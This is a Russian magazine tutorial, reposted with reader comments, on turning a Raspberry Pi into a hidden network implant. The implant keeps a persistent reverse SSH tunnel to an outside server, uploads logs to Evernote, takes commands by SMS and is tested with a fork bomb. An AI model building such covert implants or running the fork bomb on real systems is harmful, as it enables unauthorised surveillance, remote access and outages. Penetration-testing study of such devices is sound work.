Маленький британский шпион – закладка на Raspberry Pi

    Большой темой майского номера «Хакера» стал Raspberry Pi. Мы пообщались с создателем «малинки», Эбеном Аптоном и узнали, каковы итоги первого года проекта, и что ждет маленький компьютер в следующем. Также мы описали два концепта на основе Raspberry: незаметную закладку, которая в виду размеров может незаметно собирать данные из сети (принимая команды по SMS и скидывая логи в Evernote), а также систему видеонаблюдения, интегрированную с Google Drive. Один из этих концептов мы предлагаем вашему вниманию.




    Идея дропбокса проста: если миниатюрный компьютер снабдить батареей и 3G-модемом, то можно получить шпионскую коробочку, которая незаметно подключается к исследуемой сети и передает собранные данные. Этот концепт вполне реализуем на Raspberry Pi.



    Забегая вперед, скажу: из-за высокого энергопотребления наш дропбокс хорошо подойдет скорее для работы в собственных сетях. Для чужих ему просто не хватит батареи, но концепт все равно выглядит заманчиво. Все это мы будем делать на базе дистрибутива PwnPi. В нем мы настроим работу с модемом, научимся принимать команды по SMS и отсылать логи в Evernote. В моем распоряжении был 3G-модем Huawei E1550 («Мегафон E1550»).

    Переключение в режим модема


    Многие 3G-модемы при подключении выглядят как диск для того, чтобы предварительно установить необходимые драйверы, и требуют переключения в режим модема. Модем E1550 — из их числа и изначально недоступен как терминал…

    # ls /dev/ttyUSB*
    ls: cannot access /dev/ttyUSB11*: 
    No such file or directory
    

    Посмотрим на описание USB-устройств:

    # lsusb
    Bus 001 Device 009: ID 12d1:1446 
    Huawei Technologies Co., Ltd. E1552/E1800/E173 
    (HSPA modem)
    

    Зато он виден как диск:

    # ls -l /dev/disk/by-id/
    usb-HUAWEI_MMC_Storage-0:0 -> ../../sda
    usb-HUAWEI_Mass_Storage-0:0 -> ../../sr0
    

    Для того чтобы переключить его в режим модема, потребуется установить дополнительную программу и перезагрузиться (другим модемам могут понадобиться другие настройки):

    # apt-get update && apt-get install usb-modeswitch 
    # reboot
    

    Посмотрим на описание USB-устройства еще раз:

    # lsusb
    Bus 001 Device 010: ID 12d1:1003 
    Huawei Technologies Co., Ltd. E220 HSDPA Modem / 
    E230/E270/E870 HSDPA/HSUPA Modem
    

    Видно, что у модема изменился Device ID, и теперь нам стали доступны его порты:

    # ls /dev/ttyUSB*
    /dev/ttyUSB0  /dev/ttyUSB1
    



    Приветствие баша в PwnPi

    Доступ к модему с помощью minicom


    Для проверки работоспособности можно попробовать «достучаться» до него, как до обычного модема, с помощью minicom:

    # apt-get install minicom
    # minicom -D /dev/ttyUSB0
    

    Запросим информацию о производителе модема с помощью AT-команды

    ati0
    Manufacturer: huawei
    Model: E1550
    Revision: 11.608.12.10.209
    IMEI: < IMEI вашего модема >
    +GCAP: +CGSM,+DS,+ES
    
    OK
    

    Выйдем нажатием <Ctrl + A + Q>.

    Sakis и UMTSkeeper


    Первая программа, которая нам понадобится для настройки 3G-модема, — Sakis3G, сценарий для установления 3G-соединения. Домашняя страница проекта sakis-3g.org уже некоторое время недоступна, но копия скрипта есть на sourceforge. Загрузим ее, разархивируем и разрешим выполнение:

    # mkdir ~/3g && cd ~/3g
    # wget http://downloads.sourceforge.net/project/vim-n4n0/sakis3g.tar.gz -O sakis3g.tar.gz
    # tar -xzvf sakis3g.tar.gz
    # chmod +x sakis3g
    

    Доустановим поддержку PPP

    # apt-get install ppp

    Попробуем установить соединение в интерактивном режиме, указывая необходимые данные.

    # ./sakis3g --interactive

    Выберем первую опцию, «Connect with 3G», в ответ на следующий запрос выберем «11. Custom APN...». Укажем (данные для Мегафон-Москва):

    APN: internet
    APN_USER: megafon
    APN_PASS: megafon
    

    Если соединение было установлено успешно, выйдем из меню и проверим доступ к интернету:

    # ping google.com

    Следующая программа, UMTSkeeper (zool33.uni-graz.at/petz/umtskeeper), необходима для автоматического подключения при разрыве связи. Загрузим, разархивируем и разрешим выполнение:

    # mkdir ~/3g && cd 3g
    # wget http://zool33.uni-graz.at/petz/umtskeeper/src/umtskeeper.tar.gz
    # tar -xzvf umtskeeper.tar.gz
    # chmod +x umtskeeper
    

    Проверим UMTSkeeper, подставив свои значения в параметры USBMODEM (Vendor ID:Device ID, который виден при вводе команды lsusb) и CUSTOM_APN, APN_USER, APN_PASS, SIM_PIN (данные для подключения к 3G-сети):

    # ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no'

    Проконтролируем работы, открыв журнал в другом окне:

    # tail /var/log/umtskeeper.log -f
    2013-04-01 10:37:38 Start: interval=4*8s
    Internet status:
    Modem plugged, not connected to internet.
    2013-04-01 10:38:27 Internet connection is DOWN. 
    Calling Sakis3G connect...
    Sakis3G cmdLine: nice ./sakis3g connect --sudo --console USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'
    Sakis3G says...
    E1550 connected to MegaFon (25002).
    2013-04-01 10:39:20 Testing connection...
    2013-04-01 10:39:37 Success... we are online!
    

    Теперь отредактируем /etc/rc.local для запуска при загрузке системы:

    # nano /etc/rc.local
    /root/3g/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' &
    

    И проверим после перезагрузки.


    Интерфейс Sakis3G

    Reverse SSH


    Для удаленного подключения к PwnPi через 3G настроим поднятие Reverse SSH туннеля (для этого нужен сервер с публичным IP).
    Чтобы PwnPi подключался к серверу в автоматическом режиме, без ввода пароля, на PwnPi cгенерируем приватный/публичный ключи и скопируем публичный ключ на сервер:

    # ssh-keygen
    # scp /root/.ssh/id_rsa.pub root@<адрес сервера>:/root/

    На сервере (если это Debian) добавим публичный ключ в список авторизованных:

    $ cat ~/id_rsa.pub >> ~/.ssh/authorized_keys
    

    Попробуем подключиться к серверу с PwnPi:

    # ssh root@<адрес сервера>
    

    Подключение должно произойти без запроса пароля. В случае если пароль все равно запрашивается и подключение с использованием ключей настраивается в первый раз, необходимо задать права доступа к этому файлу (и папке в целом):

    # chmod 755 ~
    # chmod 700 ~/.ssh
    # chmod 600 ~/.ssh/authorized_keys
    

    Теперь установим туннель с перенаправлением портов. Со стороны PwnPi:

    # ssh -q -N -R 1221:localhost:22 root@<адрес сервера>
    

    Со стороны сервера теперь порт 1221 ждет подключений, но только на интерфейсе 127.0.0.1:

    # netstat -an |grep 1221
    tcp  0  0  127.0.0.1:1221  0.0.0.0:*  LISTEN
    

    Со стороны сервера проверим подключение через Reverse SSH, подключившись к локальному порту:

    # ssh root@localhost -p 1221
    

    Если все правильно, после ввода пароля пользователя root системы PwnPi мы должны получить доступ к PwnPi. Со стороны сервера разрешим перенаправления портов для всех интерфейсов:

    # nano /etc/ssh/sshd_config
    GatewayPorts yes
    

    Теперь необходимо, чтобы sshd перечитал конфигурационный файл. Посмотрим, какой у него PID:

    # ps aux|grep sshd
    ...
    root  23511  0.0  2.1   9920  5376 ?  Ss   13:09 
    0:00 /usr/sbin/sshd
    ...
    

    И пошлем ему сигнал HUP:

    # kill -hup 23511
    # tail /var/log/sshd.log
    

    Теперь после установления соединения с PwnPi увидим, что процесс ожидает подключение на всех интерфейсах:

    # netstat -an -p |grep 1221
    tcp  0  0 0.0.0.0:1221  0.0.0.0:*
    LISTEN  	21990/	sshd: root
    

    Создадим сценарий для автоматического запуска и дадим ему права на выполнение:

    # nano /root/reverse_ssh_tunnel.sh
    #!/bin/sh
    USERHOST=root@<адрес сервера> 
    RPORT=22 # Порт SSH сервера
    FPORT=1221 # Порт, который будет открыт на сервере
    CONN=localhost:22   # Порт SSH Listener на PwnPi
    COMMAND="ssh -q -N -R $FPORT:$CONN $USERHOST -p $RPORT"
    pgrep -f -x "$COMMAND" > /dev/null 2>&1  || $COMMAND
    ssh $USERHOST -p $RPORT netstat -an | egrep "tcp.*:$FPORT.*LISTEN">/dev/null 2>&1
    if [ $? -ne 0 ] ; then
      echo "Restarting connection" 
      pkill -f -x "$COMMAND"
      $COMMAND
    else
      echo 'Connection OK' 
    fi
    # chmod +x reverse_ssh_tunnel.sh
    

    Добавим строку с указанием запускать каждую минуту в crontab:

    # crontab -e
    */1 * * * * /bin/sh /root/reverse_ssh_tunnel.sh
    


    Автоматическое сохранение данных в Evernote


    Есть много вариантов для автоматической передачи и хранения данных, от традиционной почты до популярных облачных сервисов, от Google Drive до Evernote. Отправить данные в Evernote можно с помощью утилиты Geeknote (www.geeknote.me):

    # wget http://www.geeknote.me/dist/geeknote_latest.deb
    # sudo dpkg -i geeknote_latest.deb
    # geeknote login
    

    Укажем свои данные для входа в Evernote (необходимо сделать только один раз, если пользователь не изменяется). Создадим новую записную книжку и добавим тестовую запись:

    # geeknote notebook-create --title "PwnPi data"
    # geeknote create --notebook "PwnPi" --title "Test" --content "Test note" 
    

    Geeknote поддерживает автоматическую синхронизацию текстовых файлов в указанном каталоге с помощью входящей в пакет утилиты gnsync. Для синхронизации ее необходимо запустить со следующими ключами (синхронизируется каталог
    /root):

    # gnsync --path /root --mask *.log --notebook "PwnPi"
    


    Управление через SMS


    К сожалению, работа 3G у нас не отличается стабильностью. Так что в качестве дополнения можно реализовать передачу команд (например, перезагрузки) и уведомлений с помощью SMS с использованием пакета Gammu.

    # apt-get install gammu
    # gammu-config
    

    В меню установим порт /dev/ttyUSB1 (для 3G был настроен /dev/ttyUSB0). Запросим описание устройства:

    # gammu --identify
    Устройство : /dev/ttyUSB1
    Manufacturer     	: Huawei
    Модель     	: E1550 (E1550)
    Firmware         	: 11.608.12.10.209
    IMEI             	: 351911043904005
    Номер SIM (IMSI) : 250026700613366
    

    Можно включить режим мониторинга и попробуем отправить тестовое сообщение:

    # gammu --monitor
    # echo "test from PwnPi" | gammu sendsms TEXT +7<номер телефона>
    

    Для русского языка (юникодная локаль в PwnPi по умолчанию не выставлена) можно использовать ключ -unicode.


    Опции Gammu

    Прием SMS


    Для получения SMS необходимо установить

    # apt-get install gammu-smsd

    И указать тот же порт 3G-модема в конфигурации:

    # nano /etc/gammu-smsdrc
    [gammu]
port=/dev/ttyUSB1

    Запустим как сервис и посмотрим журнал:

    # gammu-smsd --daemon

    # tail -f /var/log/syslog

    Входящие сообщения сохраняются в папку:

    # cd /var/spool/gammu/inbox && ls
    IN20130402_193338_00_+7<номер телефона>_00.txt

    Внутри содержится полученный текст SMS. Создадим сценарий для выполнения команд из SMS. В примере ниже, при получении текста 'uptime' отправителю высылается сообщение с результатом выполнения команды uptime:

    $ nano smscheck
    #!/bin/bash
    for file in `ls /var/spool/gammu/inbox`
    do
      cmd=`cat /var/spool/gammu/inbox/$file`
      case "$cmd" in
 
      "uptime")
        echo `uptime` > /var/spool/gammu/outbox/OUT+7<номер телефона>.txt
        ;;
      esac
      rm -f /var/spool/gammu/inbox/$file
    done

    
    # chmod +x smscheck
    

    Поскольку в папке /var/spool/gammu/inbox уже должны лежать наши тестовые сообщения, запустим этот сценарий и убедимся, что он отправляет нужное сообщение. Добавим его в crontab с периодичностью выполнения одна минута с помощью следующей записи:

    # crontab -e
    */1 * * * * /home/pi/smscheck

    Перегружаем систему и проверяем работоспособность нашей конфигурации.

    Кто следит за следящим


    В современных микроконтроллерах может применяться ряд средств, повышающих надежность работы встраиваемых устройств в необслуживаемом режиме. Один из механизмов, предназначенных для этого, — аппаратный watchdog-таймер, позволяющий перезагрузить устройство в случае его зависания. Программа, работоспособность которой должна быть проконтролирована, периодически должна сбрасывать этот таймер. Если она прекратит это делать, таймер превысит пороговое значение, и на на процессор будет подан сигнал сброса. В Linux программное обеспечение поддержки watchdog состоит из двух частей: драйвера watchdog-таймера и watchdog-демонов, контролирующих работоспособность системы в целом.

    Watchdog-драйвер


    Загрузка модуля драйвера:

    # sudo modprobe bcm2708_wdog
    

    Добавление в список автозагружаемых модулей:

    # echo "bcm2708_wdog" | sudo tee -a /etc/modules
    

    Watchdog-таймер стартует при открытии устройства. Сброс его осуществляется отправкой любого символа. Символ V отключает таймер. Убедиться в работоспособности можно так:

    # cat > /dev/watchdog
    

    Теперь от перезагрузки систему отделяет только ввод строк с клавиатуры (команда cat передает набираемый текст построчно). Ввод символа V с последующим остановит обратный отсчет.

    Watchdog-демон


    Пакет watchdog состоит из двух демонов: упрощенного — wd_keepalive и основного — watchdog, предоставляющего более широкие возможности. С его помощью можно контролировать не только загрузку системы, но и такие параметры, как объем доступной памяти, доступ к отдельным файлам, доступность узлов по команде ping и ряд других.

    # apt-get install watchdog # Установка
    # update-rc.d watchdog defaults # Добавление в автозагрузку
    

    Для настройки в файле /etc/watchdog.conf необходимо раскомментировать несколько строк:

    # nano /etc/watchdog.conf
    watchdog-device = /dev/watchdog 
    max-load-1      = 24
    

    Запуск в ручном режиме

    # /etc/init.d/watchdog start
    


    Проверка


    Наиболее простой способ проверить работоспособность настройки watchdog — ввести в командной строке так называемую fork bomb:

    : (){ :|:& };:
    

    Система очень быстро перестанет откликаться и, если все настроено правильно, через несколько секунд уйдет в перезагрузку.

    Автономное питание


    Raspberry Pi с подключенными и активными адаптерами Wi-Fi (D-Link DWA-140 B2) и 3G (Huawei E1550) потребляет порядка 700―800 мА. Емкость доступных на сегодняшний день достаточно компактных внешних литиевых аккумуляторов достигает 20 ампер-часов, что может обеспечить срок автономной работы до суток. Если рассматривать RPi в качестве просто многофункционального устройства, это очень и очень неплохо; однако ее скрытая установка на более длительное время потребует подключения к внешнему питанию, которым может быть порт USB или электросеть.

    Итог


    При своей кажущейся несерьезности Raspberry Pi может стать опасным инструментом, хотя высокое энергопотребление ограничивает возможность работы в автономном режиме. Впрочем, ближайшие по функционалу аналоги на сегодняшний день, коммерческие инструменты penetration-тестирования компании PWNIE Express, находятся в совершенно другой ценовой категории.


    Впервые опубликовано в журнале «Хакер» от 05/2013.
    Автор: Александр Лыкошин, alykoshin@gmail.com, ligne.ru

    Публикация на ISSUU.com

    Подпишись на «Хакер»




    Метки:
    Журнал Хакер 63,00
    Компания
    Поделиться публикацией
    Похожие публикации
    Комментарии 29
    • +12
      Я чего-то не понял, «зачем?» это всё делалось. Вы объяснили «как», но что в итоге вышло? Девайс следит за сетью, какой сетью?
      • +55
        Да какая разница! Вы только представьте, сидишь фигачишь что-то в консоли (жаль не чёрно-зелёной) а бабушка жарит оладьи на кухне. Настоящий прям хакер же!
        • +5
          Вы сделали мой день!
        • +2
          Побуду чуточку КО: за любой сетью, куда вы его «воткнете». Как пример, такое устройство может прицепить уборщица в эзернет-розетку где-нибудь в офисе под столом.
          • +3
            Всё круто, но тут описано, как подключить к интернету его через модем. А зачем? ХЗ!

            TCP Dump выливать что ли? Об этом в статье ни слова.

            У нас в офисе пустые розетки, т.е. те, в которых ничего нет, выключены на уровне свичей. Куда не вставь, даже айпишник по DHCP не получишь. И так во всех серьёзных учреждениях.
            • 0
              Зато во всех учреждениях есть WiFi.
            • –1
              А Свичи уже разучились посылать трафик только туда, куда надо, а не по всем портам? Я еще когда в школе учился сниффинг сети был бессмысленным, так как свичи слали пакеты только в нужные порты.
              • 0
                Кроме _пассивного_ мониторинга есть и другие варианты.
            • 0
              У меня идея про «закладки» — первое что пришло в голову, читая статью про сеть Hyperboria
            • +1
              Зачем модем если практически любая сеть обладает доступом в инет?
              • +4
                Например, чтобы невозможно было отследить передачу данных на удаленную машину в логах маршрутизатора организации.
                • 0
                  Или если этот доступ закрыт.
                • +13
                  Вместо «малины» можно использовать tp-link mr3020. Он и размером меньше, и энергопотребление ниже на порядок.
                  • +2
                    А вместо tp-link mr3020 можно использовать TP-Link TL-WR703N
                    Он и размером еще меньше и стоит дешевле.

                    ;)
                  • +1
                    А вместо Raspberry — любой нормальный МК со спящим режимом.
                    • 0
                      Не для каждого МК есть полноценный Debian.
                  • +6
                    Я бы не стал оставлять рутовый ключ от сервера в коробке, которая валяется в опасном месте.
                    Если нужен только reverse port forwarding, только его и нужно оставить.
                    Также, автор статьи не слышал об inittab и autossh, что конечно не страшно, но несколько перегружает и без того сложную статью для начинающих.
                    Но все равно статья хорошая, каждую часть можно использовать отдельно, и оказывается это все проще, чем могло казаться.
                    • –1
                      А симка в модеме на имя владельца вас не насторожила?
                      • +2
                        не во всех же странах симки только по паспорту выдают :)
                        • +1
                          Даже в странах, в которых только по паспорту, наркоманы с радостью купят на свой паспорт вам сколько угодно симок.
                    • 0
                      Мануал хорош. Но сама реализация этого что получится это для шпионского боевика.
                      • 0
                        Гениально! Спасибо большое за статью, всё очень доходчиво и без «воды».

                        Новым для меня оказался watchdog-драйвер. Никогда ранее про него не слышал. Весьма полезная штука!
                        • 0
                          Настройки APN для МегаФон-Москва неверны, надо использовать «gdata» / «gdata». Вас спасла услуга «интернет без настроек», поэтому всё и работало; но она не всегда подключена.
                          • 0
                            К сожалению, работа 3G у нас не отличается стабильностью.

                            и этим все сказано…
                            • 0
                              Это все хорошо, когда USB устройство только одно, а если добавить, например, USB-GPS, то порты будут меняться случайным образом после каждой перезагрузки.
                              Выяснил это когда пытался работать с USB-GPS посредством Си. После чего попытался открывать все существующие порты пытаясь найти внутри NMEA, но если попадается порт USB-модема, то получаю зависание raspbbery.
                              • 0
                                Можно через /proc посмотреть какое устройство подключено к какому порту.

                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                              Самое читаемое